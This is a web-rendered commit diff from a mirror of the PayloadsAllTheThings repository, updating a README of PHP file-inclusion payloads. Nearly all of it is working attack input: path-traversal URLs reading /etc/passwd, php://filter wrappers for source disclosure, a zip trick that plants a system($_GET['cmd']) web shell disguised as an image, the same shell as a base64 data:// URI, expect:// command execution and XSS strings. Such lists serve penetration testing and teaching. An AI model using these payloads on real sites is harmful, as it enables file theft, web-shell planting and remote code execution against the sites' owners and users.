ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-02-21 14:16:07 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Wrapper PHP inclusion updated

Browse Source
This commit is contained in:
Swissky 2017-07-02 23:10:34 +02:00
parent ab63a537e7
commit a1fbd41bbb
1 changed files with 16 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

21
PHP include/README.md
View File

@ -12,26 +12,37 @@ http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=....//....//etc/passwd
``` ```
LFI Wrapper rot13 and base64 - php://filter case insensitive LFI Wrapper rot13 and base64 - php://filter case insensitive
``` ```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=php=pHp://FilTer/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
can be chained with a compression wrapper
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
``` ```
LFI Wrapper zip
LFI Wrapper ZIP
```python ```python
os.system("echo \"</pre><?php system($_GET['cmd']); ?></pre>\" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php") os.system("echo \"</pre><?php system($_GET['cmd']); ?></pre>\" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php")
http://example.com/index.php?page=zip://shell.jpg%23payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php
``` ```
RFI Wrapper with "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" payload RFI Wrapper DATA with "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" payload
``` ```
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
``` ```
RFI Wrapper EXPECT
```
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls
```
XSS via RFI/LFI with "<<svg<>svg onload=alert(1)>" payload XSS via RFI/LFI with "<<svg<>svg onload=alert(1)>" payload
<svg onload=alert(1)> <svg onload=alert(1)>
@ -40,4 +51,4 @@ http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbm
``` ```
## Thanks to ## Thanks to
* https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion * https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion